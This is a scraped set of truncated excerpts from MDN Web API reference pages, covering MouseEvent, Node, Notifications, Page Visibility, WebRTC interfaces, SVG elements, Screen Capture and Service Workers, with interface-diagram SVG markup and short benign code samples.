... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MouseEvent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MouseEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor MouseE...
...k at its pressure property. MouseEvent.mozInputSource Read only The type of device that generated the event (one of the MOZ_SOURCE_* constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event). MouseEvent.
webkitForce Read only The amount of pressure applied when clicking MouseEvent.x Read only Alias for MouseEvent.clientX. MouseEvent.y Read only Alias for MouseEvent.clientY Constants MouseEvent.
WEBKIT_FORCE_AT_MOUSE_DOWN Read only Minimum force necessary for a normal click MouseEvent.
WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN Read only Minimum force necessary for a force click Methods ...
Node - Web APIs
ldren to a node type that cannot have children will throw an exception. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties In addition to the p...
...anchor="middle" alignment-baseline="middle">Node</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties In addition to the properties below, Node inherits properties from its parent, EventTarget. Node.baseURIRead only Returns a DOMString representing the base URL of the document containing the Node. Node.baseURIObject Read only (Not available to
web content.) The nsIURI object representing the base URI for the element. Node.childNodesRead only Returns a live NodeList containing all the children of this node. NodeList being live means that if the children of the Node change, the NodeList object is automatically updated. Node.firstChildRead only Returns a Node representing the first direct child node of the node, or null if the node has ...
...nsole.log(node.textContent) } }) The above will result in the following strings printing to the user's console: "\n\t", "Foo", "\n\t", "Bar", "\n\t", "Baz" Note: Whitespace forms part of a Text node, meaning indentation and newlines form separate Text between the Element nodes. Realistic usage The following demonstrates a real-world use of the eachNode() function: searching for text on a
web-page. We use a wrapper function named grep to do the searching: function grep(parentNode, pattern) { const matches = [] let endScan = false eachNode(parentNode, function(node){ if (endScan) { return false } // Ignore anything which isn't a text node if (node.nodeType !== Node.TEXT_NODE) { return } if (typeof pattern === "string") { if (-1 !== node.textC...
Using the Notifications API - Web APIs
The Notifications API lets a
web page or app send notifications that are displayed outside the page at the system level; this lets
web apps send information to a user even if the application is idle or in the background. This article looks at the basics of using this API in your own apps. Typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications. The system notification system will vary of course by platform and browser, but this is ok, and the Notifications API is written to be general enough for compatibility with most system notification systems. ...
...ating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications. The system notification system will vary of course by platform and browser, but this is ok, and the Notifications API is written to be general enough for compatibility with most system notification systems. Examples One of the most obvious use cases for
web notifications is a
web-based mail or IRC application that needs to notify the user when a new message is received, even if the user is doing something else with another application. Many examples of this now exist, such as Slack. We've written a real world example -- a to-do list app -- to give more of an idea of how
web notifications can be used. It stores data locally using IndexedDB and notif...
...
web notifications can be used. It stores data locally using IndexedDB and notifies users when tasks are due using system notifications. Download the To-do list code, or view the app running live. Requesting permission Before an app can send a notification, the user must grant the application the right to do so. This is a common requirement when an API tries to interact with something outside a
web page -- at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications. Because of abuses of push notifications in the past,
web browsers and developers have begun to implement strategies to help mitigate this problem. You should only request consent to display notifi...
...uired (found inside the createNotification() function): var img = '/to-do-notifications/img/icon-128.png'; var text = 'HEY! Your task "' + title + '" is now overdue.'; var notification = new Notification('To do list', { body: text, icon: img }); Closing notifications Used close() to remove a notification that is no longer relevant to the user (e.g. the user already read the notification on the
webpage, in the case of a messaging app, or the following song is already playing in a music app to notifies upon song changes). Most modern browsers dismiss notifications automatically after a few moments (around four seconds) but this isn't something you should generally be concerned about as it's up to the user and user agent. The dismissal may also happen at the operating system level and users s...
OfflineAudioContext - Web APIs
erates it, as fast as it can, and outputs the result to an AudioBuffer. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AudioContext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioContext</text></a><polyline points="271,25 281,20 281,30 271,25" stroke="#D4DDE4" fill="none"/><line x1="281" ...
... height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioContext</text></a><polyline points="271,25 281,20 281,30 271,25" stroke="#D4DDE4" fill="none"/><line x1="281" y1="25" x2="311" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/OfflineAudioContext" target="_top"><rect x="311" y="1" width="190" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="406" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">OfflineAudioContext</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Con...
... Working Draft Initial definition ...
Page Visibility API - Web APIs
With tabbed browsing, there is a reasonable chance that any given
webpage is in the background and thus not visible to the user. The Page Visibility API provides events you can watch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page. Notes: The Page Visibility API is especially useful for saving resources and improving performance by letting a page avoid performing unnecessary tasks when the document isn't visible. When the user minimizes the window or switches to another tab, the API sends a visibilitychange event to let listeners know the state of the page has changed. You can detect the event and perform some actions or behave differently. ...
...ally useful for saving resources and improving performance by letting a page avoid performing unnecessary tasks when the document isn't visible. When the user minimizes the window or switches to another tab, the API sends a visibilitychange event to let listeners know the state of the page has changed. You can detect the event and perform some actions or behave differently. For example, if your
web app is playing a video, it can pause the video when the user puts the tab into the background, and resume playback when the user returns to the tab. The user doesn't lose their place in the video, the video's soundtrack doesn't interfere with audio in the new foreground tab, and the user doesn't miss any of the video in the meantime. Visibility states of an <iframe> are the same as the parent do...
...e budget regenerates at a rate of 10 ms per second, in both Firefox and Chrome. Some processes are exempt from this throttling behavior. In these cases, you can use the Page Visibility API to reduce the tabs' performance impact while they're hidden. Tabs which are playing audio are considered foreground and aren't throttled. Tabs running code that's using real-time network connections (
WebSockets and
WebRTC) go unthrottled in order to avoid closing these connections timing out and getting unexpectedly closed. IndexedDB processes are also left unthrottled in order to avoid timeouts. Example View live example (video with sound). The example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code: // ...
...e name of the hidden property and the change event for visibility var hidden, visibilityChange; if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support hidden = "hidden"; visibilityChange = "visibilitychange"; } else if (typeof document.msHidden !== "undefined") { hidden = "msHidden"; visibilityChange = "msvisibilitychange"; } else if (typeof document.
webkitHidden !== "undefined") { hidden = "
webkitHidden"; visibilityChange = "
webkitvisibilitychange"; } var videoElement = document.getElementById("videoElement"); // If the page is hidden, pause the video; // if the page is shown, play the video function handleVisibilityChange() { if (document[hidden]) { videoElement.pause(); } else { videoElement.play(); } } // Warn if the brow...
Payment processing concepts - Web APIs
The payer authenticates themselves, then authorizes payment, as required by the payment method. payment method The instrument by which payment is submitted, such as a credit card or online payment service. ...
...The payer authenticates themselves, then authorizes payment, as required by the payment method. payment method The instrument by which payment is submitted, such as a credit card or online payment service. ...
...The payer authenticates themselves, then authorizes payment, as required by the payment method. ...
...handlers use merchant validation, which is the process of validating the identity of a merchant in some way, usually using some form of cryptographic challenge. If the merchant doesn't successfully validate, it's not allowed to use the payment handler. The exact validation technology depends on the payment handler, and merchant validation is entirely optional. In the end, the only thing that the
web site or app is responsible for is fetching the merchant's validation key and passing it into the event's complete() method. paymentRequest.onmerchantvalidation = function(event) { event.complete(fetchValidationData(event.validationURL)); } In this example, fetchValidationData() is a function which loads the payment handler specific identifying information from the address given by validation...
ProcessingInstruction - Web APIs
t ?>). The ProcessingInstruction interface inherits methods and properties from Node. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CharacterData" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406...
...height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ProcessingInstruction" target="_top"><rect x="436" y="1" width="210" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="541" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ProcessingInstruction</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
PushEvent - Web APIs
Push APIThe definition of 'PushEvent' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 44 Full support 44 Full support 48Notes Notes Push enabled by default.Opera Android ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 37Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 44 Full support 44 Full support 48Notes Notes Push enabled by default.Opera Android ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 44Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android Full support 44 Full support 44 Full support 48Notes Notes Push enabled by default.Opera Android ...
RTCDTMFSender - Web APIs
The RTCDTMFSender interface provides a mechanism for transmitting DTMF codes on a
WebRTC RTCPeerConnection. You gain access to the connection's RTCDTMFSender through the RTCRtpSender.dtmf property on the audio track you wish to send DTMF with. The primary purpose for
WebRTC's DTMF support is to allow
WebRTC-based communication clients to be connected to a public-switched telephone network (PSTN) or other legacy telephone service, including extant voice over IP (VoIP) services. For that reason, DTMF can't be used between two
WebRTC-based devices, because there is no mechanism provided by
WebRTC for receiving DTMF codes. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;...
...ause there is no mechanism provided by
WebRTC for receiving DTMF codes. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/RTCDTMFSender" target="_top"><rect x="151" y="1" width="130" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">RTCDTMFSender</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties ...
.... Events Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface. tonechange The tonechange event is sent to the RTCDTMFSender instance's event handler to indicate that a tone has either started or stopped playing. Also available using the ontonechange event handler property. Example See the article Using DTMF with
WebRTC for a full example. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDTMFSender' in that specification. Candidate Recommendation ...
RTCDataChannel: error event - Web APIs
Bubbles Yes Cancelable No Interface RTCErrorEvent Event handler property onerror The RTCErrorEvent object provides details about the error that occurred; see that article for details. ...
...le to resolve address", "Unrecognized SCTP chunk type received", "Invalid mandatory parameter", "Unrecognized parameters", "No user data (SCTP DATA chunk has no data)", "Cookie received while shutting down", "Restart of an association with new addresses", "User-initiated abort", "Protocol violation" ]; dc.addEventListener("error", ev => { const err = ev.error; console.error("
WebRTC error: ", err.message); // Handle specific error detail types switch(err.errorDetail) { case "sdp-syntax-error": console.error(" SDP syntax error in line ", err.sdpLineNumber); break; case "idp-load-failure": console.error(" Identity provider load failure: HTTP error ", err.httpRequestStatusCode); break; case "sctp-failure": ...
... // Add source file name and line information console.error(" Error in file ", err.filename, " at line ", err.lineNumber, ", column ", err.columnNumber); }, false); The received event provides details in an RTCError object called error; RTCError is an extension of the DOMException interface. The error's name is RTCError and the message is an error string specified by the
WebRTC layer. Error information is output to the console using console.error(). The message string is always output, as is information about the source file's name, line number, and column number at which the error occurred. In addition, however, depending on the value of errorDetail, additional information may be output. Each error type has a different set of information output. For example, an SD...
...s similarly output appropriate information. You can also set up an event handler for error events using the RTCDataChannel interface's onerror event handler property: dc.onerror = ev => { const err = ev.error; /* ... */ } Note: Since RTCError is not one of the legacy errors, the value of RTCError.code is always 0. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'error event' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidate.usernameFragment - Web APIs
ter is randomly selected between 0 and 1. Another example: it might take a user-defined string and append three 8-bit random bytes to the end. Or perhaps every character is entirely random. Usage notes ICE uses the usernameFragment and password to ensure message integrity. ...
...multiple ongoing ICE sessions, but, more importantly, helps secure ICE transactions (and all of
WebRTC by extension) against attacks that might try to inject themselves into an ICE exchange. Note: There is no API to obtain the ICE password, for what should be fairly obvious security reasons. The usernameFragment and password both change every time an ICE restart occurs. Example Although the
WebRTC infrastructure will filter out obsolete candidates for you after an ICE restart, you can do it yourself if you're trying to absolutely minimize the number of messages going back and forth. To do so, you can compare the value of usernameFragment to the current usernameFragment being used for the connection after receiving the candidate from the signaling server and before caling addIceCandidat...
...you after an ICE restart, you can do it yourself if you're trying to absolutely minimize the number of messages going back and forth. To do so, you can compare the value of usernameFragment to the current usernameFragment being used for the connection after receiving the candidate from the signaling server and before caling addIceCandidate() to add it to the set of possible candidates. When the
web app receives a message from the signaling server that includes a candidate to be added to the RTCPeerConnection, you can (and generally should) simply call addIceCandidate(). There's not typically a need to manually worry about filtering the candidates. However, let's imagine that we do need to minimize traffic. The function below, ssNewCandidate(), is called when a message, signalMsg, arrives f...
... Candidate Recommendation Initial definition. ...
RTCIceServers.urls - Web APIs
The RTCIceServer dictionary's urls property specifies the URL or URLs of the servers to be used for ICE negotiations. These are typically STUN and/or TURN servers. Syntax var iceServer = { urls = iceServerUrl | [ url1, ..., urlN ], username: "
webrtc", // optional credential: "turnpassword" // optional }; iceServers.push(iceServer); The value of this property may be specified as a single URL or as an array of multiple URLs. Examples Let's look a few examples of varying complexity. A single ICE server This example creates a new RTCPeerConnection which will use a STUN server at stunserver.example.org to negotiate connections. myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: "stun:stun...
...s: "stun:stunserver.example.org" } ] }); Notice that only the urls property is provided; the STUN server doesn't require authentication, so this is all that's needed. A single ICE server with authentication The second example creates a new RTCPeerConnection which will use a TURN server at turnserver.example.org to negotiate connections. Logging into the TURN server will use the username "
webrtc" and the creative password "turnpassword". myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: "turn:turnserver.example.org", username: "
webrtc", credential: "turnpassword" } ] }); A single ICE server with multiple URLs The next example creates a new RTCPeerConnection which will use a single TURN server which has multiple URLs. This is useful if th...
... available both on "turn" and "turns" schemes, or if there's a fallback address available for the server. Keep in mind that ICE will try all the URLs you list here, so the more you include, the longer connections will take to establish. myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: ["turns:turnserver.example.org", "turn:turnserver.example.org"], username: "
webrtc", credential: "turnpassword" } ] }); Multiple ICE servers Finally, this example creates a new RTCPeerConnection which will use one of two servers for ICE negotiation. Each server can have one or more URLs, as demonstrated above. myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: ["turns:turnserver.example.org", "turn:turnserver.example.org"], user...
... credential: "turnpassword" } ] }); Multiple ICE servers Finally, this example creates a new RTCPeerConnection which will use one of two servers for ICE negotiation. Each server can have one or more URLs, as demonstrated above. myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: ["turns:turnserver.example.org", "turn:turnserver.example.org"], username: "
webrtc", credential: "turnpassword" }, { urls: "stun: stunserver.example.org" } ] }); Two ICE servers are provided. One is a TURN server which can be accessed both over TURN and TURNS. The other is a STUN server. Any number of servers could be listed of any combination of types. Specifications Specification Status Comment
WebRTC 1.0: Real-time ...
RTCPeerConnection.setRemoteDescription() - Web APIs
fulfilled once the value of the connection's remoteDescription is successfully changed or rejected if the change cannot be applied (for example, if the specified description is incompatible with one or both of the peers on the connection). The promise fulfillment handler receives no input parameters. Note: The process of changing descriptions actually involves intermediary steps handled by the
WebRTC layer to ensure that an active connection can be changed without losing the connection if the change does not succeed. See Pending and current descriptions in
WebRTC connectivity for more details on this process. Exceptions The following exceptions are reported to the rejection handler for the promise returned by setRemoteDescription(): InvalidAccessError The content of the description ...
... callee, even if it was previously the caller. This happens instead of throwing an exception, thereby reducing the number of potential errors which might occur, and simplifies the processing you need to do when you receive an offer, by eliminating the need to handle the offer/answer process differently depending on whether the local peer is the caller or callee. Note: Earlier implementations of
WebRTC would throw an exception if an offer was set outside a stable or have-remote-offer state. Deprecated syntax In older code and documentation, you may see a callback-based version of this function used. This has been deprecated and its use is strongly discouraged. You should update any existing code to use the Promise-based version of setRemoteDescription() instead. The parameters for the old...
...When our promise fulfillment handler is called, indicating that this has been done, we create a stream, add it to the connection, then create an SDP answer and call setLocalDescription() to set that as the configuration at our end of the call before forwarding that answer to the caller. Specifications Specification Status ...
...ration the caller has proposed using. When our promise fulfillment handler is called, indicating that this has been done, we create a stream, add it to the connection, then create an SDP answer and call setLocalDescription() to set that as the configuration at our end of the call before forwarding that answer to the caller. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.setRemoteDescription()' in that specification. Candidate Recommendation Initial specification. ...
RTCStats - Web APIs
Specific classes of statistic are defined as dictionaries based on RTCStats. For example, statistics about a received RTP stream are represented by RTCReceivedRtpStreamStats. Properties id A DOMString which uniquely identifies the object which was inspected to produce this object based on RTCStats. timestamp A DOMHighResTimeStamp object indicating the time at which the sample was taken for this statistics object. type A DOMString indicating the type of statistics the object contains, taken from the enum type RTCStatsType. ...
... timestamp A DOMHighResTimeStamp object indicating the time at which the sample was taken for this statistics object. type A DOMString indicating the type of statistics the object contains, taken from the enum type RTCStatsType. ...
...ics the object contains, taken from the enum type RTCStatsType. The statistics type hierarchy The various dictionaries that are used to define the contents of the objects that contain each of the various types of statistics for
WebRTC are structured in such a way that they build upon the core RTCStats dictionary, each layer adding more relevant information. RTCStats is the foundation of all
WebRTC statistics objects RTCRtpStreamStats adds to RTCStats information that applies to all RTP endpoints (that is, both local and remote endpoints, and regardless of whether the endpoint is a sender or a receiver) RTCReceivedRtpStreamStats further adds statistics measured at the receiving end of an RTP stream, regardless of whether it's local or remote. RTCInboundRtp...
...ntRtpStreamStats offers statistics related to the sending end of an RTP stream. RTCOutboundRtpStreamStats contains statistics about the local sending endpoint of an RTP stream. RTCRemoteOutboundRtpStreamStats holds statistics related to the remote sending end an RTP stream. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCStats' in that specification. Candidate Recommendation Initial specification. ...
SVGAnimatedString - Web APIs
tion) Recommendation Scalable Vector Graphics (SVG) 2 Candidate Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Chrome Full support YesEdge Full support <=18Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android No support NoFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
...alChrome Full support YesEdge Full support 12Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android No support NoFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
...alChrome Full support YesEdge Full support 12Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android No support NoFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
SVGElement - Web APIs
y to elements in the SVG language derive from the SVGElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/SVGElement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">SVGElement</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Also inhe...
Using the Screen Capture API - Web APIs
This works with at least Chrome, Edge, and Firefox. ...
...This works with at least Chrome, Edge, and Firefox. ...
...d. The contraints alter what you see in the resulting stream. For example, if you specify a width constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself. Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that
web applications can't force the user to share specific content by restricting the source list until only one item is left. While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place. Note: For privacy and security reasons, screen sharing sources are not enumerable using enumerateDevices().
... video: { cursor: "always" }, audio: { echoCancellation: true, noiseSuppression: true, sampleRate: 44100 } } In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz. Capturing audio is always optional, and even when
web content requests a stream with both audio and video, the returned MediaStream may still have only one video track, with no audio. Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support. Using the captured stream The promise returned by getDisplayMedia() resolves to a MediaStream that contains at least one video stream th...
Server-sent events - Web APIs
Concepts and usage To learn how to use server-sent events, see our article Using server-sent events. Interfaces EventSource Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc. ...
... Concepts and usage To learn how to use server-sent events, see our article Using server-sent events. Interfaces EventSource Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc. ...
... Concepts and usage To learn how to use server-sent events, see our article Using server-sent events. Interfaces EventSource Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc. ...
...on Specification Status Comment HTML Living StandardThe definition of 'Server-sent events' in that specification. Living Standard See also Tools EventSource polyfill for Node.js Remy Sharp's EventSource polyfill Yaffle's EventSource polyfill Rick Waldron's jquery plugin intercooler.js declarative SSE support Related Topics AJAX JavaScript
WebSockets Other resources A Twitter like application powered by server-sent events and its code on Github. HTML5 and Server-sent events Server-sent events using Asp.Net ...
Service Worker API - Web APIs
Service workers essentially act as proxy servers that sit between
web applications, the browser, and the network (when available). They are intended, among other things, to enable the creation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. They will also allow access to push notifications and background sync APIs. Service worker concepts and usage A service worker is an event-driven worker registered against an origin and a path. ...
...es, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. They will also allow access to push notifications and background sync APIs. Service worker concepts and usage A service worker is an event-driven worker registered against an origin and a path. It takes the form of a JavaScript file that can control the
web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available). A service worker is run in a worker context: it therefore has no DOM access, and runs on a different thread t...
...eeScript, less, CJS/AMD modules, etc. for development purposes. Hooks for background services. Custom templating based on certain URL patterns. Performance enhancements, for example pre-fetching resources that the user is likely to need in the near future, such as the next few pictures in a photo album. In the future, service workers will be able to do a number of other useful things for the
